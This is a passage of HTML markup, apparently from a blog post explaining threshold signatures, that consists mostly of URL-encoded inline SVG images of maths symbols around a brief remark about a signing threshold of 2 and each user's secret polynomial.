%23f012be%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%20%7B%0A%09fill%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09fill%3A%20var%28--y%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%20%7B%0A%09stroke%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%20%7B%0A%09stroke%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09stroke%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%20%7B%0A%09stroke%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%20%7B%0A%09stroke%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%20%7B%0A%09stroke%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%20%7B%0A%09stroke%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09stroke%3A%20var%28--y%29%3B%0A%7D%0A%3C%2Fstyle%3E%3Cg%20class%3D%22typst-group%22%3E%3Cuse%20xlink%3Ahref%3D%22%23a%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%200%2015.379%29%22%2F%3E%3C%2Fg%3E%3Cdefs%3E%3Csymbol%20id%3D%22a%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M4.29%205.447c0%20.117-.13.182-.403.182H2.834q.507%202.028.507%202.106c0%20.273-.143.403-.416.403-.299%200-.481-.169-.559-.507l-.481-2.002H.728c-.286%200-.429-.013-.429-.286%200-.143.13-.208.403-.208h1.053C1.118%202.6.806%201.261.806%201.092c0-.728.494-1.235%201.222-1.235.494%200%20.923.221%201.3.676.312.377.533.741.676%201.092.052.143.078.221.078.26%200%20.117-.065.182-.195.182-.104%200-.182-.065-.234-.208C3.211.78%202.678.247%202.041.247c-.221%200-.338.182-.338.533%200%20.195.026.403.078.611l.923%203.744h1.157c.338%200%20.429.026.429.312%22%2F%3E%3C%2Fsymbol%3E%3C%2Fdefs%3E%3C%2Fsvg%3E&quot; class=&quot;typst-inline typst-doc&quot; style=&quot;vertical-align: -0.5909090909090907em; width: 0.4266363636363636em&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; alt=&quot;&quot; &#x2F;&gt; is the signing threshold, &lt;img src=&quot;data:image&#x2F;svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20width%3D%226.5pt%22%20height%3D%2221.878999999999998pt%22%20class%3D%22typst-doc%22%20viewBox%3D%220%200%206.5%2021.878999999999998%22%3E%3Cstyle%3E%3Aroot%20%7B%0A%09--t%3A%20%23000000%3B%0A%09--b%3A%20%23ffffff%3B%0A%09--m%3A%20%23d5d5d5%3B%0A%09--l%3A%20%230074d9%3B%0A%09--r%3A%20%23ff4136%3B%0A%09--g%3A%20%232ecc40%3B%0A%09--p%3A%20%23f012be%3B%0A%09--y%3A%20%23ffdc00%3B%0A%7D%0A%0A%40media%20%28prefers-color-scheme%3A%20dark%29%20%7B%0A%09%3Aroot%20%7B%0A%09%09--t%3A%20%23ffffff%3B%0A%09%09--b%3A%20%23000000%3B%0A%09%09--m%3A%20%237a7a7a%3B%0A%09%7D%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%20%7B%0A%09fill%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%20%7B%0A%09fill%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09fill%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%20%7B%0A%09fill%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%20%7B%0A%09fill%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%20%7B%0A%09fill%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%20%7B%0A%09fill%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09fill%3A%20var%28--y%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%20%7B%0A%09stroke%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%20%7B%0A%09stroke%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09stroke%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%20%7B%0A%09stroke%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%20%7B%0A%09stroke%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%20%7B%0A%09stroke%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%20%7B%0A%09stroke%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09stroke%3A%20var%28--y%29%3B%0A%7D%0A%3C%2Fstyle%3E%3Cg%20class%3D%22typst-group%22%3E%3Cuse%20xlink%3Ahref%3D%22%23a%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%200%2015.379%29%22%2F%3E%3C%2Fg%3E%3Cdefs%3E%3Csymbol%20id%3D%22a%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M3.081%208.658c-.663%200-1.222-.234-1.703-.702S.65%206.942.65%206.279c0-.442.325-.767.728-.767.39%200%20.715.338.715.728a.703.703%200%200%201-.728.728c-.039%200-.065%200-.091-.013.247.637.819%201.196%201.638%201.196%201.066%200%201.664-.923%201.664-2.041%200-.871-.442-1.807-1.326-2.795L.806.559C.637.364.65.377.65%200h4.823l.377%202.34h-.429c-.104-.663-.195-1.04-.273-1.157-.065-.065-.455-.091-1.17-.091H1.807l1.261%201.235c.884.832%202.002%201.729%202.379%202.418q.39.683.39%201.365c0%201.534-1.196%202.548-2.756%202.548%22%2F%3E%3C%2Fsymbol%3E%3C%2Fdefs%3E%3C%2Fsvg%3E&quot; class=&quot;typst-inline typst-doc&quot; style=&quot;vertical-align: -0.5909090909090907em; width: 0.5909090909090909em&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; alt=&quot;&quot; &#x2F;&gt; in our case, so each user&#x27;s secret polynomial looks like:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;data:image&#x2F;svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20width%3D%22147.6433777777778pt%22%20height%3D%2214.154pt%22%20class%3D%22typst-doc%22%20viewBox%3D%220%200%20147.6433777777778%2014.154%22%3E%3Cstyle%3E%3Aroot%20%7B%0A%09--t%3A%20%23000000%3B%0A%09--b%3A%20%23ffffff%3B%0A%09--m%3A%20%23d5d5d5%3B%0A%09--l%3A%20%230074d9%3B%0A%09--r%3A%20%23ff4136%3B%0A%09--g%3A%20%232ecc40%3B%0A%09--p%3A%20%23f012be%3B%0A%09--y%3A%20%23ffdc00%3B%0A%7D%0A%0A%40media%20%28prefers-color-scheme%3A%20dark%29%20%7B%0A%09%3Aroot%20%7B%0A%09%09--t%3A%20%23ffffff%3B%0A%09%09--b%3A%20%23000000%3B%0A%09%09--m%3A%20%237a7a7a%3B%0A%09%7D%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%20%7B%0A%09fill%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%20%7B%0A%09fill%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09fill%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%20%7B%0A%09fill%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%20%7B%0A%09fill%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%20%7B%0A%09fill%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%20%7B%0A%09fill%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09fill%3A%20var%28--y%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%20%7B%0A%09stroke%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%20%7B%0A%09stroke%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09stroke%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%20%7B%0A%09stroke%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%20%7B%0A%09stroke%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%20%7B%0A%09stroke%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%20%7B%0A%09stroke%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09stroke%3A%20var%28--y%29%3B%0A%7D%0A%3C%2Fstyle%3E%3Cg%20fill%3D%22%23000000%22%20class%3D%22typst-group%22%3E%3Cuse%20xlink%3Ahref%3D%22%23a%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%200%2010.5%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23b%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%206.86%2013.958%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23c%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2011.603%2010.5%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23d%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2017.05%2010.5%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23e%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2025.057%2010.5%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23f%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2034.392%2010.5%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23g%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2049.173%2010.5%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23h%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2056.579%2013.958%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23i%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2066.05%2010.5%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23g%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2080.053%2010.5%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23j%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2087.46%2013.958%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23d%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2093.82%2010.5%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23k%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20106.476%2010.5%29%22%2F%3E%3C